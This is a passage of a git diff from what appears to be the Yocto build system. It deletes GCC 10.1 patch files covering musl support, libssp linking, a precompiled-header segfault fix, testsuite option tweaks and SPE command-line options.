diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch b/meta/recipes-devtools/gcc/gcc-10.1/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
deleted file mode 100644
index 3cd75b7183..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 4e53d0ae70af85af0e112a48a3e4dfe4c39f4a8d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 2 Feb 2016 10:26:10 -0800
-Subject: [PATCH] nios2: Define MUSL_DYNAMIC_LINKER
-
-Upstream-Status: Pending
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/nios2/linux.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/gcc/config/nios2/linux.h b/gcc/config/nios2/linux.h
-index 4bdcdcca1f0..e7943a9d640 100644
---- a/gcc/config/nios2/linux.h
-+++ b/gcc/config/nios2/linux.h
-@@ -30,6 +30,7 @@
- #define CPP_SPEC "%{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}"
-
- #define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-nios2.so.1"
-+#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-nios2.so.1"
-
- #undef LINK_SPEC
- #define LINK_SPEC LINK_SPEC_ENDIAN \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch b/meta/recipes-devtools/gcc/gcc-10.1/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
deleted file mode 100644
index 2a6769a82e..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From 5db0404eb770ac477fd99d444226bcf021067584 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 27 Jun 2017 18:10:54 -0700
-Subject: [PATCH] Add ssp_nonshared to link commandline for musl targets
-
-when -fstack-protector options are enabled we need to
-link with ssp_shared on musl since it does not provide
-the __stack_chk_fail_local() so essentially it provides
-libssp but not libssp_nonshared something like
-TARGET_LIBC_PROVIDES_SSP_BUT_NOT_SSP_NONSHARED
- where-as for glibc the needed symbols
-are already present in libc_nonshared library therefore
-we do not need any library helper on glibc based systems
-but musl needs the libssp_noshared from gcc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/linux.h | 7 +++++++
- gcc/config/rs6000/linux.h | 10 ++++++++++
- gcc/config/rs6000/linux64.h | 10 ++++++++++
- 3 files changed, 27 insertions(+)
-
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index 0c1a8118a26..bdc2a2d0659 100644
---- a/gcc/config/linux.h
-+++ b/gcc/config/linux.h
-@@ -195,6 +195,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
- { 0, 0, 0, 0, 0, 0 } \
- }
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+
- #endif
-
- #if (DEFAULT_LIBC == LIBC_UCLIBC) && defined (SINGLE_LIBC) /* uClinux */
-diff --git a/gcc/config/rs6000/linux.h b/gcc/config/rs6000/linux.h
-index b7026fcbee7..dd54d6c393e 100644
---- a/gcc/config/rs6000/linux.h
-+++ b/gcc/config/rs6000/linux.h
-@@ -94,6 +94,16 @@
- " -m elf32ppclinux")
- #endif
-
-+/* link libssp_nonshared.a with musl */
-+#if DEFAULT_LIBC == LIBC_MUSL
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+#endif
-+
- #undef LINK_OS_LINUX_SPEC
- #define LINK_OS_LINUX_SPEC LINK_OS_LINUX_EMUL " %{!shared: %{!static: \
- %{!static-pie: \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 967c1c43c63..dc5e4d97975 100644
---- a/gcc/config/rs6000/linux64.h
-+++ b/gcc/config/rs6000/linux64.h
-@@ -452,6 +452,16 @@ extern int dot_symbols;
- " -m elf64ppc")
- #endif
-
-+/* link libssp_nonshared.a with musl */
-+#if DEFAULT_LIBC == LIBC_MUSL
-+#ifdef TARGET_LIBC_PROVIDES_SSP
-+#undef LINK_SSP_SPEC
-+#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
-+ "|fstack-protector-strong|fstack-protector-explicit" \
-+ ":-lssp_nonshared}"
-+#endif
-+#endif
-+
- #define LINK_OS_LINUX_SPEC32 LINK_OS_LINUX_EMUL32 " %{!shared: %{!static: \
- %{!static-pie: \
- %{rdynamic:-export-dynamic} \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch b/meta/recipes-devtools/gcc/gcc-10.1/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
deleted file mode 100644
index 767cba0380..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From fbc926dbf6a47fa623b9c94cd9b09a0e90448fdc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 4 May 2016 21:11:34 -0700
-Subject: [PATCH] Link libgcc using LDFLAGS, not just SHLIB_LDFLAGS
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libgcc/config/t-slibgcc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libgcc/config/t-slibgcc b/libgcc/config/t-slibgcc
-index c997553447c..330352c2c81 100644
---- a/libgcc/config/t-slibgcc
-+++ b/libgcc/config/t-slibgcc
-@@ -32,7 +32,7 @@ SHLIB_INSTALL_SOLINK = $(LN_S) $(SHLIB_SONAME) \
- $(DESTDIR)$(slibdir)$(SHLIB_SLIBDIR_QUAL)/$(SHLIB_SOLINK)
-
- SHLIB_LINK = $(CC) $(LIBGCC2_CFLAGS) -shared -nodefaultlibs \
-- $(SHLIB_LDFLAGS) \
-+ $(LDFLAGS) $(SHLIB_LDFLAGS) \
- -o $(SHLIB_DIR)/$(SHLIB_SONAME).tmp @multilib_flags@ \
- $(SHLIB_OBJS) $(SHLIB_LC) && \
- rm -f $(SHLIB_DIR)/$(SHLIB_SOLINK) && \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0030-sync-gcc-stddef.h-with-musl.patch b/meta/recipes-devtools/gcc/gcc-10.1/0030-sync-gcc-stddef.h-with-musl.patch
deleted file mode 100644
index 4f18907a1d..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0030-sync-gcc-stddef.h-with-musl.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-From 24dc04dc8d69e3bf61322615b3ef18e02ccd311e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Feb 2017 12:56:00 -0800
-Subject: [PATCH] sync gcc stddef.h with musl
-
-musl defines ptrdiff_t size_t and wchar_t
-so dont define them here if musl is definining them
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/ginclude/stddef.h | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/gcc/ginclude/stddef.h b/gcc/ginclude/stddef.h
-index 9d67eac4947..6cb5edbedb4 100644
---- a/gcc/ginclude/stddef.h
-+++ b/gcc/ginclude/stddef.h
-@@ -128,6 +128,7 @@ _TYPE_wchar_t;
- #ifndef ___int_ptrdiff_t_h
- #ifndef _GCC_PTRDIFF_T
- #ifndef _PTRDIFF_T_DECLARED /* DragonFly */
-+#ifndef __DEFINED_ptrdiff_t /* musl */
- #define _PTRDIFF_T
- #define _T_PTRDIFF_
- #define _T_PTRDIFF
-@@ -137,10 +138,12 @@ _TYPE_wchar_t;
- #define ___int_ptrdiff_t_h
- #define _GCC_PTRDIFF_T
- #define _PTRDIFF_T_DECLARED
-+#define __DEFINED_ptrdiff_t /* musl */
- #ifndef __PTRDIFF_TYPE__
- #define __PTRDIFF_TYPE__ long int
- #endif
- typedef __PTRDIFF_TYPE__ ptrdiff_t;
-+#endif /* __DEFINED_ptrdiff_t */
- #endif /* _PTRDIFF_T_DECLARED */
- #endif /* _GCC_PTRDIFF_T */
- #endif /* ___int_ptrdiff_t_h */
-@@ -178,6 +181,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
- #ifndef _GCC_SIZE_T
- #ifndef _SIZET_
- #ifndef __size_t
-+#ifndef __DEFINED_size_t /* musl */
- #define __size_t__ /* BeOS */
- #define __SIZE_T__ /* Cray Unicos/Mk */
- #define _SIZE_T
-@@ -194,6 +198,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
- #define ___int_size_t_h
- #define _GCC_SIZE_T
- #define _SIZET_
-+#define __DEFINED_size_t /* musl */
- #if defined (__FreeBSD__) \
- || defined(__DragonFly__) \
- || defined(__FreeBSD_kernel__) \
-@@ -228,6 +233,7 @@ typedef long ssize_t;
- #endif /* _SIZE_T */
- #endif /* __SIZE_T__ */
- #endif /* __size_t__ */
-+#endif /* __DEFINED_size_t */
- #undef __need_size_t
- #endif /* _STDDEF_H or __need_size_t. */
-
-@@ -257,6 +263,7 @@ typedef long ssize_t;
- #ifndef ___int_wchar_t_h
- #ifndef __INT_WCHAR_T_H
- #ifndef _GCC_WCHAR_T
-+#ifndef __DEFINED_wchar_t /* musl */
- #define __wchar_t__ /* BeOS */
- #define __WCHAR_T__ /* Cray Unicos/Mk */
- #define _WCHAR_T
-@@ -272,6 +279,7 @@ typedef long ssize_t;
- #define __INT_WCHAR_T_H
- #define _GCC_WCHAR_T
- #define _WCHAR_T_DECLARED
-+#define __DEFINED_wchar_t /* musl */
-
- /* On BSD/386 1.1, at least, machine/ansi.h defines _BSD_WCHAR_T_
- instead of _WCHAR_T_, and _BSD_RUNE_T_ (which, unlike the other
-@@ -337,6 +345,7 @@ typedef __WCHAR_TYPE__ wchar_t;
- #endif
- #endif /* __WCHAR_T__ */
- #endif /* __wchar_t__ */
-+#endif /* __DEFINED_wchar_t musl */
- #undef __need_wchar_t
- #endif /* _STDDEF_H or __need_wchar_t. */
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0031-fix-segmentation-fault-in-precompiled-header-generat.patch b/meta/recipes-devtools/gcc/gcc-10.1/0031-fix-segmentation-fault-in-precompiled-header-generat.patch
deleted file mode 100644
index 702279af0e..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0031-fix-segmentation-fault-in-precompiled-header-generat.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 27b8ba5555ada2dab076988529bfb84d00a4b901 Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Mon, 19 Mar 2018 22:31:20 -0700
-Subject: [PATCH] fix segmentation fault in precompiled header generation
-
-Prevent a segmentation fault which occurs when using incorrect
-structure trying to access name of some named operators, such as
-CPP_NOT, CPP_AND etc. "token->val.node.spelling" cannot be used in
-those cases, as is may not be initialized at all.
-
-[YOCTO #11738]
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libcpp/lex.c | 26 +++++++++++++++++++++-----
- 1 file changed, 21 insertions(+), 5 deletions(-)
-
-diff --git a/libcpp/lex.c b/libcpp/lex.c
-index 56ac3a1dd73..73a951148b3 100644
---- a/libcpp/lex.c
-+++ b/libcpp/lex.c
-@@ -3311,11 +3311,27 @@ cpp_spell_token (cpp_reader *pfile, const cpp_token *token,
- spell_ident:
- case SPELL_IDENT:
- if (forstring)
-- {
-- memcpy (buffer, NODE_NAME (token->val.node.spelling),
-- NODE_LEN (token->val.node.spelling));
-- buffer += NODE_LEN (token->val.node.spelling);
-- }
-+ {
-+ if (token->type == CPP_NAME)
-+ {
-+ memcpy (buffer, NODE_NAME (token->val.node.spelling),
-+ NODE_LEN (token->val.node.spelling));
-+ buffer += NODE_LEN (token->val.node.spelling);
-+ break;
-+ }
-+ /* NAMED_OP, cannot use node.spelling */
-+ if (token->flags & NAMED_OP)
-+ {
-+ const char *str = cpp_named_operator2name (token->type);
-+ if (str)
-+ {
-+ size_t len = strlen(str);
-+ memcpy(buffer, str, len);
-+ buffer += len;
-+ }
-+ break;
-+ }
-+ }
- else
- buffer = _cpp_spell_ident_ucns (buffer, token->val.node.node);
- break;
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0032-Fix-for-testsuite-failure.patch b/meta/recipes-devtools/gcc/gcc-10.1/0032-Fix-for-testsuite-failure.patch
deleted file mode 100644
index 0a0767b441..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0032-Fix-for-testsuite-failure.patch
+++ /dev/null
@@ -1,255 +0,0 @@
-From 2512aacf023c679d86d8f40caff4f6ff412b32ff Mon Sep 17 00:00:00 2001
-From: RAGHUNATH LOLUR <raghunath.lolur@kpit.com>
-Date: Wed, 6 Dec 2017 22:52:26 -0800
-Subject: [PATCH] Fix for testsuite failure
-
-2017-11-16 Raghunath Lolur <raghunath.lolur@kpit.com>
-
- * gcc.dg/pr56275.c: If SSE is disabled, ensure that
- "-mfpmath" is not set to use SSE. Set "-mfpmath=387".
- * gcc.dg/pr68306.c: Likewise
- * gcc.dg/pr68306-2.c: Likewise
- * gcc.dg/pr68306-3.c: Likewise
- * gcc.dg/pr69634.c: Likewise
- * gcc.target/i386/amd64-abi-1.c: Likewise
- * gcc.target/i386/funcspec-6.c: Likewise
- * gcc.target/i386/interrupt-387-err-1.c: Likewise
- * gcc.target/i386/isa-14.c: Likewise
- * gcc.target/i386/pr44948-2b.c: Likewise
- * gcc.target/i386/pr53425-1.c: Likewise
- * gcc.target/i386/pr53425-2.c: Likewise
- * gcc.target/i386/pr55247.c: Likewise
- * gcc.target/i386/pr59644.c: Likewise
- * gcc.target/i386/pr62120.c: Likewise
- * gcc.target/i386/pr70467-1.c: Likewise
- * gcc.target/i386/warn-vect-op-1.c: Likewise
-
-If -Wall, -Werror are used during compilation various test cases fail
-to compile.
-
-If SSE is disabled, be sure to -mfpmath=387 to resolve this.
-
-This patch removes the changes to Changelog from the original patch.
-This will help us avoid conflicts.
-
-Upstream-Status: Pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- gcc/testsuite/gcc.dg/pr56275.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-2.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-3.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306.c | 2 +-
- gcc/testsuite/gcc.dg/pr69634.c | 2 +-
- gcc/testsuite/gcc.target/i386/amd64-abi-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/funcspec-6.c | 1 +
- gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/isa-14.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr44948-2b.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-2.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr55247.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr59644.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr62120.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr70467-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/warn-vect-op-1.c | 2 +-
- 17 files changed, 17 insertions(+), 16 deletions(-)
-
-diff --git a/gcc/testsuite/gcc.dg/pr56275.c b/gcc/testsuite/gcc.dg/pr56275.c
-index b901bb2b199..a4f6c95e1a1 100644
---- a/gcc/testsuite/gcc.dg/pr56275.c
-+++ b/gcc/testsuite/gcc.dg/pr56275.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2" } */
--/* { dg-additional-options "-mno-sse" { target { i?86-*-* x86_64-*-* } } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target { i?86-*-* x86_64-*-* } } } */
-
- typedef long long v2tw __attribute__ ((vector_size (2 * sizeof (long long))));
-
-diff --git a/gcc/testsuite/gcc.dg/pr68306-2.c b/gcc/testsuite/gcc.dg/pr68306-2.c
-index 4672ebe7987..2a368c484b6 100644
---- a/gcc/testsuite/gcc.dg/pr68306-2.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-2.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- struct {
- int tz_minuteswest;
-diff --git a/gcc/testsuite/gcc.dg/pr68306-3.c b/gcc/testsuite/gcc.dg/pr68306-3.c
-index f5a8c102cf8..df3390c64c2 100644
---- a/gcc/testsuite/gcc.dg/pr68306-3.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-3.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-additional-options "-mno-altivec -mno-vsx" { target powerpc*-*-* } } */
-
- extern void fn2();
-diff --git a/gcc/testsuite/gcc.dg/pr68306.c b/gcc/testsuite/gcc.dg/pr68306.c
-index 54e5b40f221..0813389e2c1 100644
---- a/gcc/testsuite/gcc.dg/pr68306.c
-+++ b/gcc/testsuite/gcc.dg/pr68306.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- enum powerpc_pmc_type { PPC_PMC_IBM };
- struct {
-diff --git a/gcc/testsuite/gcc.dg/pr69634.c b/gcc/testsuite/gcc.dg/pr69634.c
-index 60a56149463..bcc23f9ccd6 100644
---- a/gcc/testsuite/gcc.dg/pr69634.c
-+++ b/gcc/testsuite/gcc.dg/pr69634.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2 -fno-dce -fschedule-insns -fno-tree-vrp -fcompare-debug -Wno-psabi" } */
--/* { dg-additional-options "-mno-sse" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-require-effective-target scheduling } */
-
- typedef unsigned short u16;
-diff --git a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-index 69fde57bf06..7f1f1c03edf 100644
---- a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-+++ b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
- /* { dg-additional-options "-mabi=sysv" { target *-*-mingw* } } */
-
- double foo(void) { return 0; } /* { dg-error "SSE disabled" } */
-diff --git a/gcc/testsuite/gcc.target/i386/funcspec-6.c b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-index ea896b7ebfd..bf15569b826 100644
---- a/gcc/testsuite/gcc.target/i386/funcspec-6.c
-+++ b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-@@ -1,6 +1,7 @@
- /* Test whether all of the 64-bit function specific options are accepted
- without error. */
- /* { dg-do compile { target { ! ia32 } } } */
-+/* { dg-additional-options "-mfpmath=387" } */
-
- #include "funcspec-56.inc"
-
-diff --git a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-index 8561a3c26d6..6377f814645 100644
---- a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-+++ b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387" } */
-+/* { dg-options "-O2 -mgeneral-regs-only -mno-cld -mno-iamcu -m80387 -mfpmath=387" } */
-
- typedef unsigned int uword_t __attribute__ ((mode (__word__)));
-
-diff --git a/gcc/testsuite/gcc.target/i386/isa-14.c b/gcc/testsuite/gcc.target/i386/isa-14.c
-index 5d49e6e77fe..1de2db92bdd 100644
---- a/gcc/testsuite/gcc.target/i386/isa-14.c
-+++ b/gcc/testsuite/gcc.target/i386/isa-14.c
-@@ -1,5 +1,5 @@
- /* { dg-do run } */
--/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse" } */
-+/* { dg-options "-march=x86-64 -msse4a -mfma4 -mno-sse -mfpmath=387" } */
-
- extern void abort (void);
-
-diff --git a/gcc/testsuite/gcc.target/i386/pr44948-2b.c b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-index fa1769b62fb..f79fb12726f 100644
---- a/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-+++ b/gcc/testsuite/gcc.target/i386/pr44948-2b.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic" } */
-+/* { dg-options "-O -mno-sse -Wno-psabi -mtune=generic -mfpmath=387" } */
-
- struct A
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-1.c b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-index 2e89ff7d81d..6339bf6b736 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-1.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef double __v2df __attribute__ ((__vector_size__ (16)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr53425-2.c b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-index 61f6283dbe9..2c5a55f0ac3 100644
---- a/gcc/testsuite/gcc.target/i386/pr53425-2.c
-+++ b/gcc/testsuite/gcc.target/i386/pr53425-2.c
-@@ -1,6 +1,6 @@
- /* PR target/53425 */
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
- /* { dg-skip-if "no SSE vector" { x86_64-*-mingw* } } */
-
- typedef float __v2sf __attribute__ ((__vector_size__ (8)));
-diff --git a/gcc/testsuite/gcc.target/i386/pr55247.c b/gcc/testsuite/gcc.target/i386/pr55247.c
-index 23366d0909d..9810e3abb76 100644
---- a/gcc/testsuite/gcc.target/i386/pr55247.c
-+++ b/gcc/testsuite/gcc.target/i386/pr55247.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile { target { ! ia32 } } } */
- /* { dg-require-effective-target maybe_x32 } */
--/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long" } */
-+/* { dg-options "-O2 -mno-sse -mno-mmx -mx32 -maddress-mode=long -mfpmath=387" } */
-
- typedef unsigned int uint32_t;
- typedef uint32_t Elf32_Word;
-diff --git a/gcc/testsuite/gcc.target/i386/pr59644.c b/gcc/testsuite/gcc.target/i386/pr59644.c
-index 96006b3e338..4287e4538bf 100644
---- a/gcc/testsuite/gcc.target/i386/pr59644.c
-+++ b/gcc/testsuite/gcc.target/i386/pr59644.c
-@@ -1,6 +1,6 @@
- /* PR target/59644 */
- /* { dg-do run { target lp64 } } */
--/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone" } */
-+/* { dg-options "-O2 -ffreestanding -mno-sse -mpreferred-stack-boundary=3 -maccumulate-outgoing-args -mno-red-zone -mfpmath=387" } */
-
- /* This test uses __builtin_trap () instead of e.g. abort,
- because due to -mpreferred-stack-boundary=3 it should not call
-diff --git a/gcc/testsuite/gcc.target/i386/pr62120.c b/gcc/testsuite/gcc.target/i386/pr62120.c
-index 28d85d37712..c93266bd4bc 100644
---- a/gcc/testsuite/gcc.target/i386/pr62120.c
-+++ b/gcc/testsuite/gcc.target/i386/pr62120.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
-
- void foo ()
- {
-diff --git a/gcc/testsuite/gcc.target/i386/pr70467-1.c b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-index 4e112c88d07..bcfb396a68d 100644
---- a/gcc/testsuite/gcc.target/i386/pr70467-1.c
-+++ b/gcc/testsuite/gcc.target/i386/pr70467-1.c
-@@ -1,6 +1,6 @@
- /* PR rtl-optimization/70467 */
- /* { dg-do compile } */
--/* { dg-options "-O2 -mno-sse" } */
-+/* { dg-options "-O2 -mno-sse -mfpmath=387" } */
-
- void foo (unsigned long long *);
-
-diff --git a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-index 6cda1534311..26e37f5b8ba 100644
---- a/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-+++ b/gcc/testsuite/gcc.target/i386/warn-vect-op-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse -Wvector-operation-performance" } */
-+/* { dg-options "-mno-sse -Wvector-operation-performance -mfpmath=387" } */
- #define vector(elcount, type) \
- __attribute__((vector_size((elcount)*sizeof(type)))) type
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0033-Re-introduce-spe-commandline-options.patch b/meta/recipes-devtools/gcc/gcc-10.1/0033-Re-introduce-spe-commandline-options.patch
deleted file mode 100644
index ba7c2b8fd5..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0033-Re-introduce-spe-commandline-options.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 3fc06241ce37e2e4b3ed21ace28d347eb511448d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 6 Jun 2018 12:10:22 -0700
-Subject: [PATCH] Re-introduce spe commandline options
-
-This should ensure that we keep accepting
-spe options
-
-Upstream-Status: Inappropriate [SPE port is removed from rs600 port]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/rs6000/rs6000.opt | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
-
-diff --git a/gcc/config/rs6000/rs6000.opt b/gcc/config/rs6000/rs6000.opt
-index f95b8279270..0e52d51409d 100644
---- a/gcc/config/rs6000/rs6000.opt
-+++ b/gcc/config/rs6000/rs6000.opt
-@@ -344,6 +344,18 @@ mdebug=
- Target RejectNegative Joined
- -mdebug= Enable debug output.
-
-+mspe
-+Target Var(rs6000_spe) Save
-+Generate SPE SIMD instructions on E500.
-+
-+mabi=spe
-+Target RejectNegative Var(rs6000_spe_abi) Save
-+Use the SPE ABI extensions.
-+
-+mabi=no-spe
-+Target RejectNegative Var(rs6000_spe_abi, 0)
-+Do not use the SPE ABI extensions.
-+
- mabi=altivec
- Target RejectNegative Var(rs6000_altivec_abi) Save
- Use the AltiVec ABI extensions.
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch b/meta/recipes-devtools/gcc/gcc-10.1/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
deleted file mode 100644
index 4ce9dc6def..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From b42ff59c3fe2967d37815c8db72a47b9b7f585b4 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz@port70.net>
-Date: Sat, 24 Oct 2015 20:09:53 +0000
-Subject: [PATCH] libgcc_s: Use alias for __cpu_indicator_init instead of
- symver
-
-Adapter from
-
-https://gcc.gnu.org/ml/gcc-patches/2015-05/msg00899.html
-
-This fix was debated but hasnt been applied gcc upstream since
-they expect musl to support '@' in symbol versioning which is
-a sun/gnu versioning extention. This patch however avoids the
-need for the '@' symbols at all
-
-libgcc/Changelog:
-
-2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
-
- * config/i386/cpuinfo.c (__cpu_indicator_init_local): Add.
